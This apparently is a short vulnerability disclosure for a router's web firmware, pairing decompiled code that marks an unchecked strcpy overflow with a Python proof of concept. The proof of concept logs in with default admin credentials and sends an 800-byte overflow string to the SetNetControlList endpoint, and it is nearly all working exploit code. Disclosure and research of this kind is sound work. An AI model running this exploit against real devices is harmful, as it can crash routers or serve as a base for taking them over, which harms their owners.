

```
local_5c = 0;
}
undefined4 FUN_0007db78(char *param_1,undefined4 param_2,byte param_3)
  int iVar1;
  char *local_20;
  int local_1c;
  int local 18;
  char *local_14;
  memset(auStack100,0,0x40);
  memset(auStack356,0,0x100);
  memset(local_264,0,0x100);
  memset(auStack1676,0,0x400);
  memset(auStack1964,0,0x100);
  local 18 = 0;
  local_1c = 0;
  FUN_0007db3c();
  local_14 = param_1;
  do {
    while( true ) {
      local_20 = strchr(local_14,(uint)param_3);
      if (local_20 == (char *)0x0) goto LAB_0007e0a0;
      local_1c = 0;
      *local_20 = '\0';
      local_20 = local_20 + 1;
      memset(local_264,0,0x100);
      strcpy(local_264,local_14); //here is overflow
      if (local_264[0] == ';') {
        sscanf(local_264,";%[^;];%[^;];%[^;];",&local_26c,&local_28c,&local_6a
      }
      else {
        sscanf(local_264,"%[^\r]\r%[^\r]\r%s",auStack1964,&local_28c,&local_
        local_1c = 1;
      }
```

\* POC

import requests

```
cmd = b'list=AAAAAAAAAA\n' + b'A' * 800

url = b"http://192.168.2.2/login/Auth"
payload = b"http://192.168.2.2/goform/SetNetControlList/?" + cmd

data = {
    "username": "admin",
    "password": "admin",
}

def attack():
    s = requests.session()
    resp = s.post(url=url, data=data)
    print(resp.content)
    resp = s.post(url=payload, data=data)
    print(resp.content)

attack()
```